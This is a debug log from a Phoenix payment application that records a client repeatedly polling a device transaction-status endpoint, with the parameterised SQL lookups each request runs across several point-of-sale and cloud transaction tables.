SELECT p0.`id`, p0.`s_txn_type`, p0.`s_tid`, p0.`s_mid`, p0.`s_tid_stan`, p0.`s_tid_invoiceno`, p0.`s_tid_batchno`, p0.`b_tid`, p0.`b_mid`, p0.`acquirer_id`, p0.`b_tid_stan`, p0.`b_tid_invoiceno`, p0.`b_tid_batchno`, p0.`b_tid_date`, p0.`b_tid_time`, p0.`entry_mode`, p0.`condition_code`, p0.`currency_code`, p0.`mti`, p0.`proc_code`, p0.`total_amount`, p0.`auth_amount`, p0.`cash_amount`, p0.`tip_amount`, p0.`approval_code`, p0.`reference_no`, p0.`response_code`, p0.`response_message`, p0.`mcc_code`, p0.`encrypted_track2`, p0.`encrypted_pan`, p0.`masked_card_no`, p0.`encrypted_expiry`, p0.`pan_seq`, p0.`emv_data`, p0.`acquirer_reference_no`, p0.`scheme_reference_no`, p0.`created_dateTime`, p0.`updated_dateTime`, p0.`status`, p0.`metadata`, p0.`order_number` FROM `pos_temp_transaction` AS p0 WHERE (p0.`order_number` = ?) ["ch889241839013"]
↳ DaProductAppWeb.Services.DeviceTxnStatus.status_by_pos_transaction/2, at: lib/da_product_app_web/services/device_txn_status.ex:203
[Thu Sep  3 12:36:27.091000 2026] [Ecto.Adapters.SQL:debug] [pid 2816631] [client 78.47.213.209:34796] QUERY OK source="pos_failed_transaction" db=3.0ms idle=1026.9ms
SELECT p0.`id`, p0.`s_txn_type`, p0.`s_tid`, p0.`s_mid`, p0.`s_tid_stan`, p0.`s_tid_invoiceno`, p0.`s_tid_batchno`, p0.`b_tid`, p0.`b_mid`, p0.`acquirer_id`, p0.`b_tid_stan`, p0.`b_tid_invoiceno`, p0.`b_tid_batchno`, p0.`b_tid_date`, p0.`b_tid_time`, p0.`entry_mode`, p0.`condition_code`, p0.`currency_code`, p0.`mti`, p0.`proc_code`, p0.`total_amount`, p0.`auth_amount`, p0.`cash_amount`, p0.`tip_amount`, p0.`approval_code`, p0.`reference_no`, p0.`response_code`, p0.`response_message`, p0.`mcc_code`, p0.`encrypted_track2`, p0.`encrypted_pan`, p0.`masked_card_no`, p0.`encrypted_expiry`, p0.`pan_seq`, p0.`emv_data`, p0.`acquirer_reference_no`, p0.`scheme_reference_no`, p0.`created_dateTime`, p0.`updated_dateTime`, p0.`metadata`, p0.`order_number` FROM `pos_failed_transaction` AS p0 WHERE (p0.`order_number` = ?) ["ch889241839013"]
↳ DaProductAppWeb.Services.DeviceTxnStatus.status_by_pos_transaction/2, at: lib/da_product_app_web/services/device_txn_status.ex:207
[Thu Sep  3 12:36:27.092000 2026] [Ecto.Adapters.SQL:debug] [pid 2816631] [client 78.47.213.209:34796] QUERY OK source="cloud_transaction" db=1.2ms idle=1030.2ms
SELECT c0.`id`, c0.`uhid`, c0.`email`, c0.`mobile_no`, c0.`processing_id`, c0.`uname`, c0.`user_id`, c0.`pay_mode`, c0.`location_id`, c0.`transaction_location`, c0.`credentials_user`, c0.`credentials_key`, c0.`version`, c0.`return_url`, c0.`response_url`, c0.`status`, c0.`transaction_id`, c0.`transaction_amount`, c0.`transaction_ref_number`, c0.`m_ref_num`, c0.`name`, c0.`provider_id`, c0.`device_id`, c0.`merchant_id`, c0.`payment_reference_id`, c0.`additional_data`, c0.`payload`, c0.`settlement_date_time`, c0.`refund_reference_id`, c0.`provider_name`, c0.`acknoledgment`, c0.`inserted_at`, c0.`updated_at` FROM `cloud_transaction` AS c0 WHERE (c0.`transaction_ref_number` = ?) ["ch889241839013"]
↳ DaProductAppWeb.Services.DeviceTxnContext.cloud_txn_time/1, at: lib/da_product_app_web/services/device_txn_context.ex:140
[Thu Sep  3 12:36:27.093000 2026] [Phoenix.Logger:info] [pid 2816631] [client 78.47.213.209:34796] Sent 200 in 21ms
[Thu Sep  3 12:36:33.332000 2026] [Phoenix.Logger:info] [pid 2816631] [client 78.47.213.209:34802] POST /api/device/status
[Thu Sep  3 12:36:33.332000 2026] [Phoenix.Logger:debug] [pid 2816631] [client 78.47.213.209:34802] Processing with DaProductAppWeb.DeviceInitiateController.status/2
  Parameters: %{"appKey" => "1234567897654", "transaction_ref_number" => "ch889241839013", "txnType" => "card", "username" => "prasanna@dataaegis.com"}
  Pipelines: [:api]
[Thu Sep  3 12:36:33.332000 2026] [DaProductAppWeb.DeviceInitiateController:info] [pid 2816631] [client 78.47.213.209:34802] Status request params: %{"appKey" => "1234567897654", "transaction_ref_number" => "ch889241839013", "txnType" => "card", "username" => "prasanna@dataaegis.com"}
[Thu Sep  3 12:36:33.333000 2026] [DaProductAppWeb.DeviceInitiateController:info] [pid 2816631] [client 78.47.213.209:34802] Transaction reference number: "ch889241839013"
[Thu Sep  3 12:36:33.347000 2026] [Ecto.Adapters.SQL:debug] [pid 2816631] [client 78.47.213.209:34802] QUERY OK source="pos_transaction" db=13.6ms idle=1271.9ms
SELECT p0.`id`, p0.`s_txn_type`, p0.`s_tid`, p0.`s_mid`, p0.`s_tid_stan`, p0.`s_tid_invoiceno`, p0.`s_tid_batchno`, p0.`b_tid`, p0.`b_mid`, p0.`acquirer_id`, p0.`b_tid_stan`, p0.`b_tid_invoiceno`, p0.`b_tid_batchno`, p0.`b_tid_date`, p0.`b_tid_time`, p0.`entry_mode`, p0.`condition_code`, p0.`currency_code`, p0.`mti`, p0.`proc_code`, p0.`total_amount`, p0.`auth_amount`, p0.`cash_amount`, p0.`tip_amount`, p0.`approval_code`, p0.`reference_no`, p0.`response_code`, p0.`response_message`, p0.`mcc_code`, p0.`encrypted_track2`, p0.`encrypted_pan`, p0.`hash_pan`, p0.`masked_card_no`, p0.`encrypted_expiry`, p0.`pan_seq`, p0.`emv_data`, p0.`acquirer_reference_no`, p0.`scheme_reference_no`, p0.`created_dateTime`, p0.`updated_dateTime`, p0.`metadata`, p0.`order_number` FROM `pos_transaction` AS p0 WHERE (p0.`order_number` = ?) ["ch889241839013"]
↳ DaProductAppWeb.Services.DeviceTxnStatus.status_by_pos_transaction/2, at: lib/da_product_app_web/services/device_txn_status.ex:199
[Thu Sep  3 12:36:33.347000 2026] [Ecto.Adapters.SQL:debug] [pid 2816631] [client 78.47.213.209:34802] QUERY OK source="pos_temp_transaction" db=0.5ms idle=1286.0ms
SELECT p0.`id`, p0.`s_txn_type`, p0.`s_tid`, p0.`s_mid`, p0.`s_tid_stan`, p0.`s_tid_invoiceno`, p0.`s_tid_batchno`, p0.`b_tid`, p0.`b_mid`, p0.`acquirer_id`, p0.`b_tid_stan`, p0.`b_tid_invoiceno`, p0.`b_tid_batchno`, p0.`b_tid_date`, p0.`b_tid_time`, p0.`entry_mode`, p0.`condition_code`, p0.`currency_code`, p0.`mti`, p0.`proc_code`, p0.`total_amount`, p0.`auth_amount`, p0.`cash_amount`, p0.`tip_amount`, p0.`approval_code`, p0.`reference_no`, p0.`response_code`, p0.`response_message`, p0.`mcc_code`, p0.`encrypted_track2`, p0.`encrypted_pan`, p0.`masked_card_no`, p0.`encrypted_expiry`, p0.`pan_seq`, p0.`emv_data`, p0.`acquirer_reference_no`, p0.`scheme_reference_no`, p0.`created_dateTime`, p0.`updated_dateTime`, p0.`status`, p0.`metadata`, p0.`order_number` FROM `pos_temp_transaction` AS p0 WHERE (p0.`order_number` = ?) ["ch889241839013"]
↳ DaProductAppWeb.Services.DeviceTxnStatus.status_by_pos_transaction/2, at: lib/da_product_app_web/services/device_txn_status.ex:203
[Thu Sep  3 12:36:33.350000 2026] [Ecto.Adapters.SQL:debug] [pid 2816631] [client 78.47.213.209:34802] QUERY OK source="pos_failed_transaction" db=2.4ms idle=1286.8ms
SELECT p0.`id`, p0.`s_txn_type`, p0.`s_tid`, p0.`s_mid`, p0.`s_tid_stan`, p0.`s_tid_invoiceno`, p0.`s_tid_batchno`, p0.`b_tid`, p0.`b_mid`, p0.`acquirer_id`, p0.`b_tid_stan`, p0.`b_tid_invoiceno`, p0.`b_tid_batchno`, p0.`b_tid_date`, p0.`b_tid_time`, p0.`entry_mode`, p0.`condition_code`, p0.`currency_code`, p0.`mti`, p0.`proc_code`, p0.`total_amount`, p0.`auth_amount`, p0.`cash_amount`, p0.`tip_amount`, p0.`approval_code`, p0.`reference_no`, p0.`response_code`, p0.`response_message`, p0.`mcc_code`, p0.`encrypted_track2`, p0.`encrypted_pan`, p0.`masked_card_no`, p0.`encrypted_expiry`, p0.`pan_seq`, p0.`emv_data`, p0.`acquirer_reference_no`, p0.`scheme_reference_no`, p0.`created_dateTime`, p0.`updated_dateTime`, p0.`metadata`, p0.`order_number` FROM `pos_failed_transaction` AS p0 WHERE (p0.`order_number` = ?) ["ch889241839013"]
↳ DaProductAppWeb.Services.DeviceTxnStatus.status_by_pos_transaction/2, at: lib/da_product_app_web/services/device_txn_status.ex:207
[Thu Sep  3 12:36:33.352000 2026] [Ecto.Adapters.SQL:debug] [pid 2816631] [client 78.47.213.209:34802] QUERY OK source="cloud_transaction" db=0.6ms idle=1289.4ms
SELECT c0.`id`, c0.`uhid`, c0.`email`, c0.`mobile_no`, c0.`processing_id`, c0.`uname`, c0.`user_id`, c0.`pay_mode`, c0.`location_id`, c0.`transaction_location`, c0.`credentials_user`, c0.`credentials_key`, c0.`version`, c0.`return_url`, c0.`response_url`, c0.`status`, c0.`transaction_id`, c0.`transaction_amount`, c0.`transaction_ref_number`, c0.`m_ref_num`, c0.`name`, c0.`provider_id`, c0.`device_id`, c0.`merchant_id`, c0.`payment_reference_id`, c0.`additional_data`, c0.`payload`, c0.`settlement_date_time`, c0.`refund_reference_id`, c0.`provider_name`, c0.`acknoledgment`, c0.`inserted_at`, c0.`updated_at` FROM `cloud_transaction` AS c0 WHERE (c0.`transaction_ref_number` = ?) ["ch889241839013"]
↳ DaProductAppWeb.Services.DeviceTxnContext.cloud_txn_time/1, at: lib/da_product_app_web/services/device_txn_context.ex:140
[Thu Sep  3 12:36:33.352000 2026] [Phoenix.Logger:info] [pid 2816631] [client 78.47.213.209:34802] Sent 200 in 20ms
[Thu Sep  3 12:36:38.014000 2026] [Phoenix.Logger:info] [pid 2816631] [client 78.47.213.209:47022] POST /api/device/status
[Thu Sep  3 12:36:38.015000 2026] [Phoenix.Logger:debug] [pid 2816631] [client 78.47.213.209:47022] Processing with DaProductAppWeb.DeviceInitiateController.status/2
  Parameters: %{"appKey" => "1234567897654", "transaction_ref_number" => "ch889241839013", "txnType" => "card", "username" => "prasanna@dataaegis.com"}
  Pipelines: [:api]
[Thu Sep  3 12:36:38.015000 2026] [DaProductAppWeb.DeviceInitiateController:info] [pid 2816631] [client 78.47.213.209:47022] Status request params: %{"appKey" => "1234567897654", "transaction_ref_number" => "ch889241839013", "txnType" => "card", "username" => "prasanna@dataaegis.com"}
[Thu Sep  3 12:36:38.015000 2026] [DaProductAppWeb.DeviceInitiateController:info] [pid 2816631] [client 78.47.213.209:47022] Transaction reference number: "ch889241839013"
[Thu Sep  3 12:36:38.029000 2026] [Ecto.Adapters.SQL:debug] [pid 2816631] [client 78.47.213.209:47022] QUERY OK source="pos_transaction" db=13.1ms idle=954.0ms
SELECT p0.`id`, p0.`s_txn_type`, p0.`s_tid`, p0.`s_mid`, p0.`s_tid_stan`, p0.`s_tid_invoiceno`, p0.`s_tid_batchno`, p0.`b_tid`, p0.`b_mid`, p0.`acquirer_id`, p0.`b_tid_stan`, p0.`b_tid_invoiceno`, p0.`b_tid_batchno`, p0.`b_tid_date`, p0.`b_tid_time`, p0.`entry_mode`, p0.`condition_code`, p0.`currency_code`, p0.`mti`, p0.`proc_code`, p0.`total_amount`, p0.`auth_amount`, p0.`cash_amount`, p0.`tip_amount`, p0.`approval_code`, p0.`reference_no`, p0.`response_code`, p0.`response_message`, p0.`mcc_code`, p0.`encrypted_track2`, p0.`encrypted_pan`, p0.`hash_pan`, p0.`masked_card_no`, p0.`encrypted_expiry`, p0.`pan_seq`, p0.`emv_data`, p0.`acquirer_reference_no`, p0.`scheme_reference_no`, p0.`created_dateTime`, p0.`updated_dateTime`, p0.`metadata`, p0.`order_number` FROM `pos_transaction` AS p0 WHERE (p0.`order_number` = ?) ["ch889241839013"]
↳ DaProductAppWeb.Services.DeviceTxnStatus.status_by_pos_transaction/2, at: lib/da_product_app_web/services/device_txn_status.ex:199
[Thu Sep  3 12:36:38.030000 2026] [Ecto.Adapters.SQL:debug] [pid 2816631] [client 78.47.213.209:47022] QUERY OK source="pos_temp_transaction" db=0.5ms idle=966.9ms
SELECT p0.`id`, p0.`s_txn_type`, p0.`s_tid`, p0.`s_mid`, p0.`s_tid_stan`, p0.`s_tid_invoiceno`, p0.`s_tid_batchno`, p0.`b_tid`, p0.`b_mid`, p0.`acquirer_id`, p0.`b_tid_stan`, p0.`b_tid_invoiceno`, p0.`b_tid_batchno`, p0.`b_tid_date`, p0.`b_tid_time`, p0.`entry_mode`, p0.`condition_code`, p0.`currency_code`, p0.`mti`, p0.`proc_code`, p0.`total_amount`, p0.`auth_amount`, p0.`cash_amount`, p0.`tip_amount`, p0.`approval_code`, p0.`reference_no`, p0.`response_code`, p0.`response_message`, p0.`mcc_code`, p0.`encrypted_track2`, p0.`encrypted_pan`, p0.`masked_card_no`, p0.`encrypted_expiry`, p0.`pan_seq`, p0.`emv_data`, p0.`acquirer_reference_no`, p0.`scheme_reference_no`, p0.`created_dateTime`, p0.`updated_dateTime`, p0.`status`, p0.`metadata`, p0.`order_number` FROM `pos_temp_transaction` AS p0 WHERE (p0.`order_number` = ?) ["ch889241839013"]
↳ DaProductAppWeb.Services.DeviceTxnStatus.status_by_pos_transaction/2, at: lib/da_product_app_web/services/device_txn_status.ex:203
[Thu Sep  3 12:36:38.032000 2026] [Ecto.Adapters.SQL:debug] [pid 2816631] [client 78.47.213.209:47022] QUERY OK source="pos_failed_transaction" db=2.5ms idle=967.7ms
SELECT p0.`id`, p0.`s_txn_type`, p0.`s_tid`, p0.`s_mid`, p0.`s_tid_stan`, p0.`s_tid_invoiceno`, p0.`s_tid_batchno`, p0.`b_tid`, p0.`b_mid`, p0.`acquirer_id`, p0.`b_tid_stan`, p0.`b_tid_invoiceno`, p0.`b_tid_batchno`, p0.`b_tid_date`, p0.`b_tid_time`, p0.`entry_mode`, p0.`condition_code`, p0.`currency_code`, p0.`mti`, p0.`proc_code`, p0.`total_amount`, p0.`auth_amount`, p0.`cash_amount`, p0.`tip_amount`, p0.`approval_code`, p0.`reference_no`, p0.`response_code`, p0.`response_message`, p0.`mcc_code`, p0.`encrypted_track2`, p0.`encrypted_pan`, p0.`masked_card_no`, p0.`encrypted_expiry`, p0.`pan_seq`, p0.`emv_data`, p0.`acquirer_reference_no`, p0.`scheme_reference_no`, p0.`created_dateTime`, p0.`updated_dateTime`, p0.`metadata`, p0.`order_number` FROM `pos_failed_transaction` AS p0 WHERE (p0.`order_number` = ?) ["ch889241839013"]
↳ DaProductAppWeb.Services.DeviceTxnStatus.status_by_pos_transaction/2, at: lib/da_product_app_web/services/device_txn_status.ex:207
[Thu Sep  3 12:36:38.034000 2026] [Ecto.Adapters.SQL:debug] [pid 2816631] [client 78.47.213.209:47022] QUERY OK source="cloud_transaction" db=0.5ms idle=970.8ms
SELECT c0.`id`, c0.`uhid`, c0.`email`, c0.`mobile_no`, c0.`processing_id`, c0.`uname`, c0.`user_id`, c0.`pay_mode`, c0.`location_id`, c0.`transaction_location`, c0.`credentials_user`, c0.`credentials_key`, c0.`version`, c0.`return_url`, c0.`response_url`, c0.`status`, c0.`transaction_id`, c0.`transaction_amount`, c0.`transaction_ref_number`, c0.`m_ref_num`, c0.`name`, c0.`provider_id`, c0.`device_id`, c0.`merchant_id`, c0.`payment_reference_id`, c0.`additional_data`, c0.`payload`, c0.`settlement_date_time`, c0.`refund_reference_id`, c0.`provider_name`, c0.`acknoledgment`, c0.`inserted_at`, c0.`updated_at` FROM `cloud_transaction` AS c0 WHERE (c0.`transaction_ref_number` = ?) ["ch889241839013"]
↳ DaProductAppWeb.Services.DeviceTxnContext.cloud_txn_time/1, at: lib/da_product_app_web/services/device_txn_context.ex:140
[Thu Sep  3 12:36:38.034000 2026] [Phoenix.Logger:info] [pid 2816631] [client 78.47.213.209:47022] Sent 200 in 19ms
[Thu Sep  3 12:36:42.740000 2026] [Phoenix.Logger:info] [pid 2816631] [client 78.47.213.209:47038] POST /api/device/status
[Thu Sep  3 12:36:42.741000 2026] [Phoenix.Logger:debug] [pid 2816631] [client 78.47.213.209:47038] Processing with DaProductAppWeb.DeviceInitiateController.status/2
  Parameters: %{"appKey" => "1234567897654", "transaction_ref_number" => "ch889241839013", "txnType" => "card", "username" => "prasanna@dataaegis.com"}
  Pipelines: [:api]
[Thu Sep  3 12:36:42.741000 2026] [DaProductAppWeb.DeviceInitiateController:info] [pid 2816631] [client 78.47.213.209:47038] Status request params: %{"appKey" => "1234567897654", "transaction_ref_number" => "ch889241839013", "txnType" => "card", "username" => "prasanna@dataaegis.com"}
[Thu Sep  3 12:36:42.741000 2026] [DaProductAppWeb.DeviceInitiateController:info] [pid 2816631] [client 78.47.213.209:47038] Transaction reference number: "ch889241839013"
[Thu Sep  3 12:36:42.757000 2026] [Ecto.Adapters.SQL:debug] [pid 2816631] [client 78.47.213.209:47038] QUERY OK source="pos_transaction" db=15.2ms idle=1680.0ms
SELECT p0.`id`, p0.`s_txn_type`, p0.`s_tid`, p0.`s_mid`, p0.`s_tid_stan`, p0.`s_tid_invoiceno`, p0.`s_tid_batchno`, p0.`b_tid`, p0.`b_mid`, p0.`acquirer_id`, p0.`b_tid_stan`, p0.`b_tid_invoiceno`, p0.`b_tid_batchno`, p0.`b_tid_date`, p0.`b_tid_time`, p0.`entry_mode`, p0.`condition_code`, p0.`currency_code`, p0.`mti`, p0.`proc_code`, p0.`total_amount`, p0.`auth_amount`, p0.`cash_amount`, p0.`tip_amount`, p0.`approval_code`, p0.`reference_no`, p0.`response_code`, p0.`response_message`, p0.`mcc_code`, p0.`encrypted_track2`, p0.`encrypted_pan`, p0.`hash_pan`, p0.`masked_card_no`, p0.`encrypted_expiry`, p0.`pan_seq`, p0.`emv_data`, p0.`acquirer_reference_no`, p0.`scheme_reference_no`, p0.`created_dateTime`, p0.`updated_dateTime`, p0.`metadata`, p0.`order_number` FROM `pos_transaction` AS p0 WHERE (p0.`order_number` = ?) ["ch889241839013"]
↳ DaProductAppWeb.Services.DeviceTxnStatus.status_by_pos_transaction/2, at: lib/da_product_app_web/services/device_txn_status.ex:199
[Thu Sep  3 12:36:42.759000 2026] [Ecto.Adapters.SQL:debug] [pid 2816631] [client 78.47.213.209:47038] QUERY OK source="pos_temp_transaction" db=1.8ms idle=1695.6ms
SELECT p0.`id`, p0.`s_txn_type`, p0.`s_tid`, p0.`s_mid`, p0.`s_tid_stan`, p0.`s_tid_invoiceno`, p0.`s_tid_batchno`, p0.`b_tid`, p0.`b_mid`, p0.`acquirer_id`, p0.`b_tid_stan`, p0.`b_tid_invoiceno`, p0.`b_tid_batchno`, p0.`b_tid_date`, p0.`b_tid_time`, p0.`entry_mode`, p0.`condition_code`, p0.`currency_code`, p0.`mti`, p0.`proc_code`, p0.`total_amount`, p0.`auth_amount`, p0.`cash_amount`, p0.`tip_amount`, p0.`approval_code`, p0.`reference_no`, p0.`response_code`, p0.`response_message`, p0.`mcc_code`, p0.`encrypted_track2`, p0.`encrypted_pan`, p0.`masked_card_no`, p0.`encrypted_expiry`, p0.`pan_seq`, p0.`emv_data`, p0.`acquirer_reference_no`, p0.`scheme_reference_no`, p0.`created_dateTime`, p0.`updated_dateTime`, p0.`status`, p0.`metadata`, p0.`order_number` FROM `pos_temp_transaction` AS p0 WHERE (p0.`order_number` = ?) ["ch889241839013"]
↳ DaProductAppWeb.Services.DeviceTxnStatus.status_by_pos_transaction/2, at: lib/da_product_app_web/services/device_txn_status.ex:203
[Thu Sep  3 12:36:42.765000 2026] [Ecto.Adapters.SQL:debug] [pid 2816631] [client 78.47.213.209:47038] QUERY OK source="pos_failed_transaction" db=5.1ms queue=0.6ms idle=1697.7ms
SELECT p0.`id`, p0.`s_txn_type`, p0.`s_tid`, p0.`s_mid`, p0.`s_tid_stan`, p0.`s_tid_invoiceno`, p0.`s_tid_batchno`, p0.`b_tid`, p0.`b_mid`, p0.`acquirer_id`, p0.`b_tid_stan`, p0.`b_tid_invoiceno`, p0.`b_tid_batchno`, p0.`b_tid_date`, p0.`b_tid_time`, p0.`entry_mode`, p0.`condition_code`, p0.`currency_code`, p0.`mti`, p0.`proc_code`, p0.`total_amount`, p0.`auth_amount`, p0.`cash_amount`, p0.`tip_amount`, p0.`approval_code`, p0.`reference_no`, p0.`response_code`, p0.`response_message`, p0.`mcc_code`, p0.`encrypted_track2`, p0.`encrypted_pan`, p0.`masked_card_no`, p0.`encrypted_expiry`, p0.`pan_seq`, p0.`emv_data`, p0.`acquirer_reference_no`, p0.`scheme_reference_no`, p0.`created_dateTime`, p0.`updated_dateTime`, p0.`metadata`, p0.`order_number` FROM `pos_failed_transaction` AS p0 WHERE (p0.`order_number` = ?) ["ch889241839013"]
↳ DaProductAppWeb.Services.DeviceTxnStatus.status_by_pos_transaction/2, at: lib/da_product_app_web/services/device_txn_status.ex:207
[Thu Sep  3 12:36:42.766000 2026] [Ecto.Adapters.SQL:debug] [pid 2816631] [client 78.47.213.209:47038] QUERY OK source="cloud_transaction" db=0.5ms idle=1703.7ms
SELECT c0.`id`, c0.`uhid`, c0.`email`, c0.`mobile_no`, c0.`processing_id`, c0.`uname`, c0.`user_id`, c0.`pay_mode`, c0.`location_id`, c0.`transaction_location`, c0.`credentials_user`, c0.`credentials_key`, c0.`version`, c0.`return_url`, c0.`response_url`, c0.`status`, c0.`transaction_id`, c0.`transaction_amount`, c0.`transaction_ref_number`, c0.`m_ref_num`, c0.`name`, c0.`provider_id`, c0.`device_id`, c0.`merchant_id`, c0.`payment_reference_id`, c0.`additional_data`, c0.`payload`, c0.`settlement_date_time`, c0.`refund_reference_id`, c0.`provider_name`, c0.`acknoledgment`, c0.`inserted_at`, c0.`updated_at` FROM `cloud_transaction` AS c0 WHERE (c0.`transaction_ref_number` = ?) ["ch889241839013"]
↳ DaProductAppWeb.Services.DeviceTxnContext.cloud_txn_time/1, at: lib/da_product_app_web/services/device_txn_context.ex:140
[Thu Sep  3 12:36:42.767000 2026] [Phoenix.Logger:info] [pid 2816631] [client 78.47.213.209:47038] Sent 200 in 26ms
[Thu Sep  3 12:36:47.136000 2026] [Phoenix.Logger:info] [pid 2816631] [client 78.47.213.209:37780] POST /api/device/status
[Thu Sep  3 12:36:47.136000 2026] [Phoenix.Logger:debug] [pid 2816631] [client 78.47.213.209:37780] Processing with DaProductAppWeb.DeviceInitiateController.status/2
  Parameters: %{"appKey" => "1234567897654", "transaction_ref_number" => "ch889241839013", "txnType" => "card", "username" => "prasanna@dataaegis.com"}
  Pipelines: [:api]
[Thu Sep  3 12:36:47.137000 2026] [DaProductAppWeb.DeviceInitiateController:info] [pid 2816631] [client 78.47.213.209:37780] Status request params: %{"appKey" => "1234567897654", "transaction_ref_number" => "ch889241839013", "txnType" => "card", "username" => "prasanna@dataaegis.com"}
[Thu Sep  3 12:36:47.137000 2026] [DaProductAppWeb.DeviceInitiateController:info] [pid 2816631] [client 78.47.213.209:37780] Transaction reference number: "ch889241839013"
[Thu Sep  3 12:36:47.152000 2026] [Ecto.Adapters.SQL:debug] [pid 2816631] [client 78.47.213.209:37780] QUERY OK source="pos_transaction" db=15.2ms queue=0.1ms idle=1075.6ms
SELECT p0.`id`, p0.`s_txn_type`, p0.`s_tid`, p0.`s_mid`, p0.`s_tid_stan`, p0.`s_tid_invoiceno`, p0.`s_tid_batchno`, p0.`b_tid`, p0.`b_mid`, p0.`acquirer_id`, p0.`b_tid_stan`, p0.`b_tid_invoiceno`, p0.`b_tid_batchno`, p0.`b_tid_date`, p0.`b_tid_time`, p0.`entry_mode`, p0.`condition_code`, p0.`currency_code`, p0.`mti`, p0.`proc_code`, p0.`total_amount`, p0.`auth_amount`, p0.`cash_amount`, p0.`tip_amount`, p0.`approval_code`, p0.`reference_no`, p0.`response_code`, p0.`response_message`, p0.`mcc_code`, p0.`encrypted_track2`, p0.`encrypted_pan`, p0.`hash_pan`, p0.`masked_card_no`, p0.`encrypted_expiry`, p0.`pan_seq`, p0.`emv_data`, p0.`acquirer_reference_no`, p0.`scheme_reference_no`, p0.`created_dateTime`, p0.`updated_dateTime`, p0.`metadata`, p0.`order_number` FROM `pos_transaction` AS p0 WHERE (p0.`order_number` = ?) ["ch889241839013"]
↳ DaProductAppWeb.Services.DeviceTxnStatus.status_by_pos_transaction/2, at: lib/da_product_app_web/services/device_txn_status.ex:199
[Thu Sep  3 12:36:47.153000 2026] [Ecto.Adapters.SQL:debug] [pid 2816631] [client 78.47.213.209:37780] QUERY OK source="pos_temp_transaction" db=0.6ms idle=1091.1ms
SELECT p0.`id`, p0.`s_txn_type`, p0.`s_tid`, p0.`s_mid`, p0.`s_tid_stan`, p0.`s_tid_invoiceno`, p0.`s_tid_batchno`, p0.`b_tid`, p0.`b_mid`, p0.`acquirer_id`, p0.`b_tid_stan`, p0.`b_tid_invoiceno`, p0.`b_tid_batchno`, p0.`b_tid_date`, p0.`b_tid_time`, p0.`entry_mode`, p0.`condition_code`, p0.`currency_code`, p0.`mti`, p0.`proc_code`, p0.`total_amount`, p0.`auth_amount`, p0.`cash_amount`, p0.`tip_amount`, p0.`approval_code`, p0.`reference_no`, p0.`response_code`, p0.`response_message`, p0.`mcc_code`, p0.`encrypted_track2`, p0.`encrypted_pan`, p0.`masked_card_no`, p0.`encrypted_expiry`, p0.`pan_seq`, p0.`emv_data`, p0.`acquirer_reference_no`, p0.`scheme_reference_no`, p0.`created_dateTime`, p0.`updated_dateTime`, p0.`status`, p0.`metadata`, p0.`order_number` FROM `pos_temp_transaction` AS p0 WHERE (p0.`order_number` = ?) ["ch889241839013"]
↳ DaProductAppWeb.Services.DeviceTxnStatus.status_by_pos_transaction/2, at: lib/da_product_app_web/services/device_txn_status.ex:203
[Thu Sep  3 12:36:47.158000 2026] [Ecto.Adapters.SQL:debug] [pid 2816631] [client 78.47.213.209:37780] QUERY OK source="pos_failed_transaction" db=4.1ms idle=1092.1ms
SELECT p0.`id`, p0.`s_txn_type`, p0.`s_tid`, p0.`s_mid`, p0.`s_tid_stan`, p0.`s_tid_invoiceno`, p0.`s_tid_batchno`, p0.`b_tid`, p0.`b_mid`, p0.`acquirer_id`, p0.`b_tid_stan`, p0.`b_tid_invoiceno`, p0.`b_tid_batchno`, p0.`b_tid_date`, p0.`b_tid_time`, p0.`entry_mode`, p0.`condition_code`, p0.`currency_code`, p0.`mti`, p0.`proc_code`, p0.`total_amount`, p0.`auth_amount`, p0.`cash_amount`, p0.`tip_amount`, p0.`approval_code`, p0.`reference_no`, p0.`response_code`, p0.`response_message`, p0.`mcc_code`, p0.`encrypted_track2`, p0.`encrypted_pan`, p0.`masked_card_no`, p0.`encrypted_expiry`, p0.`pan_seq`, p0.`emv_data`, p0.`acquirer_reference_no`, p0.`scheme_reference_no`, p0.`created_dateTime`, p0.`updated_dateTime`, p0.`metadata`, p0.`order_number` FROM `pos_failed_transaction` AS p0 WHERE (p0.`order_number` = ?) ["ch889241839013"]
↳ DaProductAppWeb.Services.DeviceTxnStatus.status_by_pos_transaction/2, at: lib/da_product_app_web/services/device_txn_status.ex:207
[Thu Sep  3 12:36:47.159000 2026] [Ecto.Adapters.SQL:debug] [pid 2816631] [client 78.47.213.209:37780] QUERY OK source="cloud_transaction" db=0.6ms queue=0.1ms idle=1096.5ms
SELECT c0.`id`, c0.`uhid`, c0.`email`, c0.`mobile_no`, c0.`processing_id`, c0.`uname`, c0.`user_id`, c0.`pay_mode`, c0.`location_id`, c0.`transaction_location`, c0.`credentials_user`, c0.`credentials_key`, c0.`version`, c0.`return_url`, c0.`response_url`, c0.`status`, c0.`transaction_id`, c0.`transaction_amount`, c0.`transaction_ref_number`, c0.`m_ref_num`, c0.`name`, c0.`provider_id`, c0.`device_id`, c0.`merchant_id`, c0.`payment_reference_id`, c0.`additional_data`, c0.`payload`, c0.`settlement_date_time`, c0.`refund_reference_id`, c0.`provider_name`, c0.`acknoledgment`, c0.`inserted_at`, c0.`updated_at` FROM `cloud_transaction` AS c0 WHERE (c0.`transaction_ref_number` = ?) ["ch889241839013"]
↳ DaProductAppWeb.Services.DeviceTxnContext.cloud_txn_time/1, at: lib/da_product_app_web/services/device_txn_context.ex:140
[Thu Sep  3 12:36:47.159000 2026] [Phoenix.Logger:info] [pid 2816631] [client 78.47.213.209:37780] Sent 200 in 23ms
[Thu Sep  3 12:36:52.032000 2026] [Phoenix.Logger:info] [pid 2816631] [client 78.47.213.209:37790] POST /api/device/status
[Thu Sep  3 12:36:52.033000 2026] [Phoenix.Logger:debug] [pid 2816631] [client 78.47.213.209:37790] Processing with DaProductAppWeb.DeviceInitiateController.status/2
  Parameters: %{"appKey" => "1234567897654", "transaction_ref_number" => "ch889241839013", "txnType" => "card", "username" => "prasanna@dataaegis.com"}
  Pipelines: [:api]
[Thu Sep  3 12:36:52.033000 2026] [DaProductAppWeb.DeviceInitiateController:info] [pid 2816631] [client 78.47.213.209:37790] Status request params: %{"appKey" => "1234567897654", "transaction_ref_number" => "ch889241839013", "txnType" => "card", "username" => "prasanna@dataaegis.com"}
[Thu Sep  3 12:36:52.033000 2026] [DaProductAppWeb.DeviceInitiateController:info] [pid 2816631] [client 78.47.213.209:37790] Transaction reference number: "ch889241839013"
[Thu Sep  3 12:36:52.054000 2026] [Ecto.Adapters.SQL:debug] [pid 2816631] [client 78.47.213.209:37790] QUERY OK source="pos_transaction" db=20.6ms idle=1972.4ms
